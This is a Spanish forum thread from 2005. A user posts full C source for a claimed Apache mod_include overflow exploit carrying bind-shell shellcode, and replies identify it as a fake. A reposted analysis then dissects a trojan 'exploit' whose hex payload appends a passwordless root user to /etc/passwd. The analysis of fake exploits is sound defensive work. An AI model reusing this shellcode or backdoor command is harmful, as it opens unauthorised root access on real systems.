elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:14  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C  (Leído 1,728 veces)
SoieRZaPa

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
« en: 4 Febrero 2005, 04:14 »

Aqui os pongo el codigo fuente en C del exploit


/*********************************************************************************
 local exploit for mod_include of apache 1.3.x                                   *
 written by xCrZx                         /18.10.2004/                           *
 bug found by xCrZx                       /18.10.2004/                           *
                                                                                 *
 y0das old shao lin techniq ownz u :) remember my words                          *
 http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3                            *
                                                                                 *
 Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)                  *
*********************************************************************************/
 
/*********************************************************************************
 Technical Details:                                                              *
                                                                                 *
 there is an overflow in get_tag function:                                       *
                                                                                 *
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) *
{                                                                                *
...                                                                              *
    term = c;                                                                    *
    while (1) {                                                                  *
        GET_CHAR(in, c, NULL, p);                                                *
[1]        if (t - tag == tagbuf_len) {                                          *
            *t = '\0';                                                           *
            return NULL;                                                         *
        }                                                                        *
// Want to accept \" as a valid character within a string. //                    *
        if (c == '\\') {                                                         *
[2]            *(t++) = c;         // Add backslash //                           *
            GET_CHAR(in, c, NULL, p);                                            *
            if (c == term) {    // Only if //                                    *
[3]                *(--t) = c;     // Replace backslash ONLY for terminator //   *
            }                                                                    *
        }                                                                        *
        else if (c == term) {                                                    *
            break;                                                               *
        }                                                                        *
[4]        *(t++) = c;                                                           *
    }                                                                            *
    *t = '\0';                                                                   *
...                                                                              *
                                                                                 *
as we can see there is a [1] check to determine the end of tag buffer            *
but this check can be skiped when [2] & [4] conditions will be occured           *
at the same time without [3] condition.                                          *
                                                                                 *
So attacker can create malicious file to overflow static buffer, on              *
which tag points out and execute arbitrary code with privilegies of              *
httpd child process.                                                             *
                                                                                 *
Fix:                                                                             *
[1*]        if (t - tag >= tagbuf_len-1) {                                       *
                                                                                 *
Notes: To activate mod_include you need write "XBitHack on" in httpd.conf        *
                                                                                 *
*********************************************************************************/
 
/*********************************************************************************
  Example of work:                                                               *
                                                                                 *
  [root@blacksand htdocs]# make 85mod_include                                    *
  cc     85mod_include.c   -o 85mod_include                                      *
  [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html                *
  [root@blacksand htdocs]# chmod +x evil.html                                    *
  [root@blacksand htdocs]# netstat -na|grep 52986                                *
  [root@blacksand htdocs]# telnet localhost 8080                                 *
  Trying 127.0.0.1...                                                            *
  Connected to localhost.                                                        *
  Escape character is '^]'.                                                      *
  GET /evil.html HTTP/1.0                                                        *
  ^]                                                                             *
  telnet> q                                                                      *
  Connection closed.                                                             *
  [root@blacksand htdocs]# netstat -na|grep 52986                                *
  tcp        0      0 0.0.0.0:52986           0.0.0.0:*               LISTEN     *
  [root@blacksand htdocs]#                                                       *
*********************************************************************************/
 
/*********************************************************************************
  Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always                  *
*********************************************************************************/
 
/*********************************************************************************
  Personal hello to my parents :)                                                *
*********************************************************************************/
 
/*********************************************************************************
 Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz           *
*********************************************************************************/
 
 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
 
#define EVILBUF 8202
#define HTMLTEXT 1000
 
#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn U\n</
html>"
 
#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"

 
int main(int argc, char **argv) {
 
   char html[EVILBUF+HTMLTEXT];
   char evilbuf[EVILBUF+1];
 
   //can be changed
   char shellcode[] =
 
    // bind shell on 52986 port
    "\x31\xc0"
    "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
    "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
    "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
    "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
    "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
    "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
 
    //execve /tmp/sh <- your own program
   /*
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
    "\xc0\x88\x43\x07\x89\x5b\x08\x89"
    "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
    "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
    "/tmp/sh";
   */
 
 
   char NOP[] = "\x90\x40";             // special nops ;)
   char evilpad[] = "\\CRZCRZCRZCRZC";  // trick ;)
 
   int padding,xpad=0;
   int i,fd;
   long ret=0xbfff8688;
 
   if(argc>1) ret=strtoul(argv[1],0,16);
   else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> > file.html\n\n",argv[0]);exi
t(0); }
 
   padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);
 
   while(1) {
      if(padding%2==0) { padding/=2; break;}
      else {padding--;xpad++;}
   }
 
   memset(html,0x0,sizeof html);
   memset(evilbuf,0x0,sizeof evilbuf);
 
   for(i=0;i<padding;i++)
      memcpy(evilbuf+strlen(evilbuf),&NOP,2);
   for(i=0;i<xpad;i++)
      memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);

 
   memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
   memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
   *(long*)&evilbuf[strlen(evilbuf)]=ret;
 
   sprintf(html,HTML_FORMAT,evilbuf);
 
   printf("%s",html);
 
   return 0;
}




ESTE EXPLOIT QUE HACE EN UN SERVER APACHE VULNERABLE? ME DEVUELVE LA PASS DEL ROOT? O QUE TENDRIA QUE HACER PARA QUE ME DEVOLVIERA ESA PASS DEL ROOT cifrada?

GRACIAS..

En línea
FeRmO


Desconectado Desconectado

Mensajes: 379

Gritemos!


Ver Perfil
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
« Respuesta #1 en: 4 Febrero 2005, 06:58 »

No estaria mal que pusieras el código del xploit entre las etiquetas: [ code ][/ code ] para empezar, de esta manera te evitas que salgan "las caritas". Hay un boton para editar tu mensaje.

Luego también, escribe mejor en Minusculas, que la vista se cansa con tanta letra grande.

Para ejecutar el xploit lo tienes que compilar, para ellos ya hay muchos post que hablan sobre eso.

No se si te habrás leido el xploit, almenos el encabezado, explica:

Código:
/*********************************************************************************
 local exploit for mod_include of apache 1.3.x                                   *
 written by xCrZx                         /18.10.2004/                           *
 bug found by xCrZx                       /18.10.2004/                           *
                                                                                 *
 y0das old shao lin techniq ownz u  remember my words                          *
 http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3                            *
                                                                                 *
 Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)                  *
*********************************************************************************/
 
/*********************************************************************************
 Technical Details:                                                              *
                                                                                 *
 there is an overflow in get_tag function:                                       *
                                                                                 *
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) *
{                                                                                *
...                                                                              *
    term = c;                                                                    *
    while (1) {                                                                  *
        GET_CHAR(in, c, NULL, p);                                                *
[1]        if (t - tag == tagbuf_len) {                                          *
            *t = '\0';                                                           *
            return NULL;                                                         *
        }                                                                        *
// Want to accept \" as a valid character within a string. //                    *
        if (c == '\\') {                                                         *
[2]            *(t++) = c;         // Add backslash //                           *
            GET_CHAR(in, c, NULL, p);                                            *
            if (c == term) {    // Only if //                                    *
[3]                *(--t) = c;     // Replace backslash ONLY for terminator //   *
            }                                                                    *
        }                                                                        *
        else if (c == term) {                                                    *
            break;                                                               *
        }                                                                        *
[4]        *(t++) = c;                                                           *
    }                                                                            *
    *t = '\0';                                                                   *
...                                                                              *
                                                                                 *
as we can see there is a [1] check to determine the end of tag buffer            *
but this check can be skiped when [2] & [4] conditions will be occured           *
at the same time without [3] condition.                                          *
                                                                                 *
So attacker can create malicious file to overflow static buffer, on              *
which tag points out and execute arbitrary code with privilegies of              *
httpd child process.                                                             *
                                                                                 *
Fix:                                                                             *
[1*]        if (t - tag >= tagbuf_len-1) {                                       *
                                                                                 *
Notes: To activate mod_include you need write "XBitHack on" in httpd.conf        *
                                                                                 *
*********************************************************************************/
 
/*********************************************************************************
  Example of work:                                                               *
                                                                                 *
  [root@blacksand htdocs]# make 85mod_include                                    *
  cc     85mod_include.c   -o 85mod_include                                      *
  [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html                *
  [root@blacksand htdocs]# chmod +x evil.html                                    *
  [root@blacksand htdocs]# netstat -na|grep 52986                                *
  [root@blacksand htdocs]# telnet localhost 8080                                 *
  Trying 127.0.0.1...                                                            *
  Connected to localhost.                                                        *
  Escape character is '^]'.                                                      *
  GET /evil.html HTTP/1.0                                                        *
  ^]                                                                             *
  telnet> q                                                                      *
  Connection closed.                                                             *
  [root@blacksand htdocs]# netstat -na|grep 52986                                *
  tcp        0      0 0.0.0.0:52986           0.0.0.0:*               LISTEN     *
  [root@blacksand htdocs]#                                                       *
*********************************************************************************/
 
/*********************************************************************************
  Notes: ha1fsatan - ti 4elovek-kakashka )) be co0l as always                  *
*********************************************************************************/
 
/*********************************************************************************
  Personal hello to my parents                                                 *
*********************************************************************************/
 
/*********************************************************************************
 Public shoutz to: m00 security, ech0 , LByte, 0xbadc0ded and otherz           *
*********************************************************************************/

En línea

FeRmO
SoieRZaPa

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en
« Respuesta #2 en: 4 Febrero 2005, 08:52 »

pero aver.. yo pregunto para que serviria este exploit para hacer overflow?? que datos conseguiria? conseguiria la pass del root cifrada?
En línea
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en
« Respuesta #3 en: 4 Febrero 2005, 11:43 »

va te voy a contestar, primero el exploit se aprovecha de una funciona mal programada get_tag(), por ellos es posible pasarle al buffer mas memoria de la que cabe, te recomiendo que leas un texto sobre estos errores porque estas supremamente perdido, busca en google stack overflows demystified :).
Bueno y sobre el exploit es un exploit local, bindea una shell a un puerto (52986) si lo compilas asi no mas.
Puedes igual descomentar la otra shellcode para cambiar el payload.
//execve /tmp/sh <- your own program
   /*
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
    "\xc0\x88\x43\x07\x89\x5b\x08\x89"
    "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
    "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
    "/tmp/sh";
   */

Bueno eso ya es obvio, hay algo que se me hace raro:
 char NOP[] = "\x90\x40";  habria que probar el exploit, ademas tambien me parece raro que sea un exploit local y bindee un shell, pero bueno.......no se si se pueda explotar remoto, porque la idea de bindear un shell a un puerto explotando local no me parece interesante.
 
En línea

Martín Fierro


Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en
« Respuesta #4 en: 4 Febrero 2005, 13:00 »

Tambien hay fakes xploits....

Si no sabes que vas a compilar mejor no lo hagas a más de uno le clavaron un troyano por andar de scripkiddie..
En línea

Y no me importa nada..
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
« Respuesta #5 en: 5 Febrero 2005, 00:16 »

Yo, no es por nada, pero esto es un fake exploit del copon.

Que a nadie se le ocurra ejecutarlo en su linux, porque dejara una bonita shell esperando a un atacante. Este exploit no interactua PARA NADA con el Apache.

Salu2
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
« Respuesta #6 en: 5 Febrero 2005, 01:58 »

Yo, no es por nada, pero esto es un fake exploit del copon.

Que a nadie se le ocurra ejecutarlo en su linux, porque dejara una bonita shell esperando a un atacante. Este exploit no interactua PARA NADA con el Apache.

Salu2
yeah como habia dicho (leyendo el codigo por encimita) muy raro un exploit local que bindee una shell a un puerto, por ello es que les digo, primero aprendan a leer codigo y luego juegan con exploits. Si uno corre esee exploit es porque tiene una shell local, por ello el hecho de que bindee un shell a un puerto lo hace estupido...Igual lo que dije, si la funcion en verdad fuera vulnerable, lean sobre stack overflows, igual este exploit uno se da cuenta que no es util (aun si fuera real) por ser local y bindear un shell, pero hay exploits que no son fakes, pero iinutiles, o proof of concepts que modificandolos uno puede lograr explotar realmente. EJM blaster
« Última modificación: 5 Febrero 2005, 02:10 por heap » En línea

Martín Fierro


Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en
« Respuesta #7 en: 5 Febrero 2005, 02:31 »

Ahora que hablamos de fakes les comparto este texto de mi buen amigo nitrous (el texto es en exclusiva que pronto lo publicaremos en la revista por salir)  :D

A ver si no me regañan por andar publicando cosas de la revista jejejeje...

Citar
DESCUBRIENDO FAKE EXPLOIT: remote apache 1.3.4 root exploit (linux)

-+[ A. Alejandro Hernández <nitrous@danitrous.org>
-+[ Contenidos

1.-Introduccion.
2.-Ejecutando el fake exploit.
   2.1.-Codigo fuente.
   2.2.-Ejecutando el exploit.
3.-Descubriendo que es un exploit falso.
   3.1.-Metodo de Explotacion no creible.
   3.2.-Descubriendo un falso payload (shellcode).
   3.3.-Otros puntos.
4.-Comentarios.
5.-Referencias.



1.-INTRODUCCION
Desde la aparicion de buffer overflows y un sin numero de diferentes vulnerabilidades mas, palabras como: 'Exploits'[1] y 'Shellcodes'[2] son comunmente escuchadas en varios medios.

Pero no todos los exploits hacen lo que deberían hacer, ya que algunos son programados para explotar y a la vez ejecutar codigo arbitrario en el host donde ha sido lanzado este mismo, y otros, definitivamente son solo desarrollados para ejecutar codigo localmente sin explotar nada el cual es el caso de este codigo a analizar.

La mayoria de exploits si son desarrollados para explotar alguna vulnerabilidad, y me atrevo a decir que muy, pero muy pocos son escritos con shellcodes falsas o algun otro metodo para ejecutar codigo localmente.

2.-EJECUTANDO EL FAKE EXPLOIT

2.1.-CODIGO FUENTE:

/* remote apache 1.3.4 root exploit (linux) */

#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char shellcode[] = \
        "\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a"
        "\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20"
        "\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

#define NOP     0x90
#define BSIZE   256
#define OFFSET  400
#define ADDR    0xbffff658
#define ASIZE   2000

int
main(int argc, char *argv[])
{
        char *buffer;
        int s;
        struct hostent *hp;
        struct sockaddr_in sin;
        if (argc != 2) {
                printf("%s <target>\n", argv[0]);
                exit(1);
          }
        buffer = (char *) malloc(BSIZE + ASIZE + 100);
        if (buffer == NULL) {
                printf("Not enough memory\n");
                exit(1);
          }
        memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode,
                strlen(shellcode));
        buffer[BSIZE + ASIZE] = ';';
        buffer[BSIZE + ASIZE + 1] = '\0';
        hp = gethostbyname(argv[1]);
        if (hp == NULL) {
                printf("no such server\n");
                exit(1);
          }
        bzero(&sin, sizeof(sin));
        bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length);
        sin.sin_family = AF_INET;
        sin.sin_port = htons(80);
        s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s < 0) {
                printf("Can't open socket\n");
                exit(1);
          }
        if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
                printf("Connection refused\n");
                exit(1);
          }
        printf("sending exploit code...\n");
        if (send(s, buffer, strlen(buffer), 0) != 1)
                printf("exploit was successful!\n");
          else
                printf("sorry, this site isn't vulnerable\n");
        printf("waiting for shell.....\n");
        if (fork() == 0)
                execl("/bin/sh", "sh", "-c", shellcode, 0);
          else
                wait(NULL);
        while (1) { /* shell */ }

2.2.-EJECUTANDO EL EXPLOIT
Primero inicie mi servidor web (Apache Web Server [4]):

[root@localhost root]# service httpd start
Iniciando httpd:                                           [  OK  ]
[root@localhost root]# echo "HEAD / HTTP/1.0\r\n" | nc localhost 80 | grep
Server:
Server: Apache/2.0.40 (Red Hat Linux)

Ahora como usuario normal (UID != 0):

[nitrous@localhost fake_exploit]$ gcc apache1.3.4.c -o apache1.3.4
[nitrous@localhost fake_exploit]$ ./apache1.3.4
./apache1.3.4 <target>
[nitrous@localhost fake_exploit]$ ./apache1.3.4 localhost
sending exploit code...
exploit was successful!
waiting for shell.....
sh: line 1: /etc/passwd: Permiso denegado //ESTO DA MUCHO DE QUE HABLAR ;)

Pero que pasa si apago mi servidor web y solamente abro el puerto 80/tcp
con netcat[5] ;), veamos:

[root@localhost root]# service httpd stop
Parando httpd:                                             [  OK  ]
[root@localhost root]# netstat -lan | grep :80
[root@localhost root]# nc -l -p 80 -vv &
[1] 23135 listening on [any] 80 ...
[root@localhost root]# netstat -lan | grep :80
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN

Ahora como usuario normal ejecutamos dicho exploit:

[nitrous@localhost fake_exploit]$ ./apache1.3.4 localhost
sending exploit code...
exploit was successful!
waiting for shell.....
sh: line 1: /etc/passwd: Permiso denegado

Mmmm, como es posible esto ;), si el exploit es para Apache 1.3.4 y tambien
logro explotar apache 2.0.4!! y a netcat tambien !!, que super exploit
Jeje!.

Pero si dicho exploit es falso, no explota nada, entonces que ejecuta?:
Veamos las ultimas dos lineas del archivo /etc/passwd:

[root@localhost fake_exploit]# tail -n 2 /etc/passwd
nitrous:x:500:500:------:/home/nitrous:/bin/bash
lame:x:501:501:------:/home/lame:/bin/bash

Ejecutamos el fake exploit como r00t:

[root@localhost fake_exploit]# ./apache1.3.4 localhost
sending exploit code...
exploit was successful!
waiting for shell.....

Veamos de nuevo las ultimas dos lineas de /etc/passwd:

[root@localhost fake_exploit]# tail -n 2 /etc/passwd
lame:x:501:501::/home/lame:/bin/bash
hakr::0:0::/:/bin/sh      ----> Usuario: hakr       Password=(null)
....
[lame@localhost lame]$ su hakr
sh-2.05#id
uid=0(root) gid=0(root) grupos=0(root)

Entonces, al ejecutar el exploit falso como usuario r00t, obviamente este
tiene derecho de agregar una nueva linea al archivo /etc/passwd, pero como
usuario normal no, he ahí el significado de la linea al ser ejecutado por
cualquier usuario diferente de r00t:

sh: line 1: /etc/passwd: Permiso denegado

Pero quien o que introduce esa linea a /etc/passwd?...La shellcode falsa.



3.-DESCUBRIENDO QUE ES UN EXPLOIT FALSO

3.1.-METODO DE EXPLOTACION NO CREIBLE

Veamos:

        if (send(s, buffer, strlen(buffer), 0) != 1)
                printf("exploit was successful!\n");
          else
                printf("sorry, this site isn't vulnerable\n");
        printf("waiting for shell.....\n");
        if (fork() == 0)
                execl("/bin/sh", "sh", "-c", shellcode, 0);
          else
                wait(NULL);
        while (1) { /* shell */ }

El send() solamente envia el contenido de 'buffer', pero en buffer hay
basura!, los mensajes siguientes se entienden...El fork() crea un proceso
hijo el cual ejecuta 'execl("/bin/sh", "sh", "-c", shellcode, 0);', pero
que hace esta linea en si?:

[nitrous@localhost nitrous]$ man sh
...
   -c string. If the -c option is present,  then  commands  are  read
from string.
...

Entonces, es el equivalente a hacer:

#sh -c shellcode
El contenido de la shellcode sera analizada en el siguiente punto.

Finalmente, el ultimo while(1){} no ejecuta nada, solamente se queda ahi
haciendo creer el ultimo printf(): 'printf("waiting for shell.....\n");'

3.2.-DESCUBRIENDO UN FALSO PAYLOAD (SHELLCODE)
Primeramente note que la 'shellcode' no contenía los OPCODES: "\xcd\x80" los cuales son equivalentes a: "int $0x80" en lenguaje ensamblador en AT&T SYNTAX. Como el exploit presumía explotar Apache Web Server bajo el sistema operativo Linux, por lo tanto seria algo improbable que la intruccion "int $0x80" no estuviera, podria ser, pero no es muy probable.

Para ver que ejecutaba la shellcode, hice lo siguiente:

[nitrous@localhost]$ objdump -D ./apache1.3.4 | grep -A 18 shellcode
08049a80 <shellcode>:
8049a80:       65 63 68 6f             arpl   %bp,%gs:0x6f(%eax)
8049a84:       20 68 61                and    %ch,0x61(%eax)
8049a87:       6b 72 3a 3a             imul   $0x3a,0x3a(%edx),%esi
8049a8b:       30 3a                   xor    %bh,(%edx)
8049a8d:       30 3a                   xor    %bh,(%edx)
8049a8f:       3a 2f                   cmp    (%edi),%ch
8049a91:       3a 2f                   cmp    (%edi),%ch
8049a93:       62 69 6e                bound  %ebp,0x6e(%ecx)
8049a96:       2f                      das
8049a97:       73 68                   jae    8049b01 <_DYNAMIC+0x55>
8049a99:       20 3e                   and    %bh,(%esi)
8049a9b:       3e 20 2f                and    %ch,%ds:(%edi)
8049a9e:       65                      gs
8049a9f:       74 63                   je     8049b04 <_DYNAMIC+0x58>
8049aa1:       2f                      das
8049aa2:       70 61                   jo     8049b05 <_DYNAMIC+0x59>
8049aa4:       73 73                   jae    8049b19 <_DYNAMIC+0x6d>
8049aa6:       77 64                   ja     8049b0c <_DYNAMIC+0x60>

Se nota claramente que las instrucciones en ensamblador no sirven para
explotar nada, entonces, que hace dicha shellcode?...Solamente es necesario
imprimir la shellcode como string: "printf("%s",shellcode);", lo cual
imprime:

[nitrous@localhost fake_exploit]$ ./printshellc
echo hakr::0:0::/:/bin/sh >> /etc/passwd

Oh, entonces es lo mismo que declarar la shellcode así en el fake exploit:

char shellcode[]="echo hakr::0:0::/:/bin/sh >> /etc/passwd";

Pero para despistar fue pasado cada caracter a su valor hexadecimal, lo cual
es
muy simple. Para este ejemplo utilize un pequeño codigo(char2hex[6]):

[nitrous@localhost]$ gcc char2hex.c -o char2hex
[nitrous@localhost]$ ./char2hex "echo hakr::0:0::/:/bin/sh >> /etc/passwd"
[0x65] [0x63] [0x68] [0x6f] [0x20] [0x68] [0x61] [0x6b] [0x72] [0x3a] [0x3a]
[0x30] [0x3a] [0x30] [0x3a] [0x3a] [0x2f] [0x3a] [0x2f] [0x62] [0x69] [0x6e]
[0x2f] [0x73] [0x68] [0x20] [0x3e] [0x3e] [0x20] [0x2f] [0x65] [0x74] [0x63]
[0x2f] [0x70] [0x61] [0x73] [0x73] [0x77] [0x64]

Cada uno de estos valores hexadecimales son exactmente iguales a cada OPCODE
obtenido en la salida de objdump.

3.3.-OTROS PUNTOS

Declaraciones en el codigo:

#define NOP     0x90
#define BSIZE   256
#define OFFSET  400
#define ADDR    0xbffff658
#define ASIZE   2000

En que parte del codigo se utilizaron: {NOP, OFFSET, ADDR} ??? Yo no lo vi
en
ninguna parte, quizas copie el codigo incompleto y por eso no me funciona
XD.

4.-COMENTARIOS
Pues aunque es facil ser engañado (no me excluyo), existen exploits que en verdad si son reales pero tambien tienen un 'regalo sorpresa' ;), aunque este exploit analizado definitivamente es muy obvio!...

Tambien es bueno leer e intentar entender el codigo de un exploit, ya que así puedes aprender diferentes metodos de explotacion y a la vez darte cuenta si se aprovechan de la ignorancia de quien ejecuta el exploit. Así que si ejecutaste este exploit como r00t, remueve la entrada del usuario 'hakr' en el
archivo /etc/passwd.

Un ultimo comentario, "Que chingon esta este CD", mientras escribia esto
tenia mis oidos retumbando al ritmo de... Alien Project - Aztechno Dream, muy
bueno jejeje.


5.-REFERENCIAS

[1] Exploits      http://es.wikipedia.org
Codigo escrito con el fin de aprovechar un error de programacion para
obtener diversos privilegios.

Un buen numero de exploits tienen su origen en un conjunto de fallos
similares. Algunos de los grupos de vulnerabilidades mas conocidos son:
Vulnerabilidades de desbordamiento de pila o buffer overflow.
Vulnerabilidades de condicion de carrera (Race condition).
Vulnerabilidades de error de formato de cadena (format string bugs).
Vulnerabilidades de Cross Site Scripting (XSS).
Vulnerabilidades de inyeccion SQL (SQL injection).

[2]
Payloads      http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt
"...The part of code which allows us to execute arbitrary code is known as
payload... A payload that spawns you a shell is known as a shellcode..."

[3] apache1.3.4.c   http://www.danitrous.org/papers/nitrous/apache1.3.4.c

[4] Apache Web Server   http://www.apache.org

[5] Netcat      http://www.l0pht.com

[6] char2hex      http://www.danitrous.org/code/nitrous/misc/char2hex.c


salud y libertad.
En línea

Y no me importa nada..
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en C
« Respuesta #8 en: 5 Febrero 2005, 02:36 »

Un texto asi se pone aparte, para ponerle chincheta :)
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Exploit apache, para que me serviria este exploit?? aqui teneis el codigo en
« Respuesta #9 en: 5 Febrero 2005, 04:28 »

Ahora que hablamos de fakes les comparto este texto de mi buen amigo nitrous (el texto es en exclusiva que pronto lo publicaremos en la revista por salir)  :D

A ver si no me regañan por andar publicando cosas de la revista jejejeje...

Citar
Ese paper es publico hace bastante como 1 mes creo**.
www.danitrous.org, chido que hagan lo de la revista......
Igual felicidades para nitrous, que ha subido de nivel bastante ultimamente :)
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Programacion MIPS ¿para que me serviria?
ASM
andres_5 3 2,226 Último mensaje 29 Marzo 2011, 11:08
por Eternal Idol
ayuda con este exploit command ejecution
Nivel Web
antoniocaro 1 722 Último mensaje 17 Julio 2011, 06:44
por Shell Root
exploit puerto 23
Bugs y Exploits
gusdinho80 5 1,074 Último mensaje 20 Enero 2012, 16:27
por Sagrini
parametro puerto para exploit
Bugs y Exploits
sancakoky 3 659 Último mensaje 19 Marzo 2012, 19:54
por sancakoky
Apache OpenOffice 3.4.0 ya está aquí
Noticias
wolfbcn 0 403 Último mensaje 8 Mayo 2012, 22:06
por wolfbcn
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines